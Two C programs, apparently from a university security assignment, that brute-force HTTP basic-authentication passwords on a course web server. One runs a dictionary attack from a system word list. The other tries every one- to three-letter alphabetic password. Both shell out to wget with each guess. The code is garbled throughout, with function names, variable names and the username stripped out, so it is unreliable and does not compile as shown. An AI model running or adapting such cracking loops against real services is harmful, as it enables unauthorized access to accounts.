
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <strings.h>
# include <sys/time.h>

int ()
{

	char s[30];
	char c[100];
	char usr[50];
	char url[100];
	char charcopy[200];
	
	int starting,ending;							
	int totaltime;

	FILE* fp;
	FILE* f;
		
	int i,j,k;
			
	fp = fopen("/usr/share/lib/dict/words","r");					
	strcpy(charcopy, "wget --http-user= --http-passwd=");			
	strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");		
	
	starting=time();								

	
	while(!feof(fp))
	{
		j=40;
		fgets(c,30,fp);								
		
			
		for(i=0;i<strlen(c);i++)						
		{
			charcopy[j]=c[i];
			j++;
		}
		charcopy[j-1] = ' ';
		
		for(i=0;i<strlen(url);i++)						
		{
			charcopy[j]=url[i];						
			j++;
		}
		
		charcopy[j] = '\0';

		printf("%s\n",c);
		system(charcopy);
			
		f = fopen("logfile1","r");						
		
		if(f != (FILE*) NULL)
		{
		
			fgets(s,30,f);							
			if(strcmp(s,"Authorization failed.\n")!=0)			
			{
				ending=time();
				totaltime=ending-starting;				
				totaltime=totaltime/1000000000;
				totaltime=totaltime/60;
	
				printf("Time taken  break the password is %lld\n",totaltime);       
				exit(0);
			}
		}
			
		fclose(f);
	} 
	
	fclose(fp);
	
	
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}
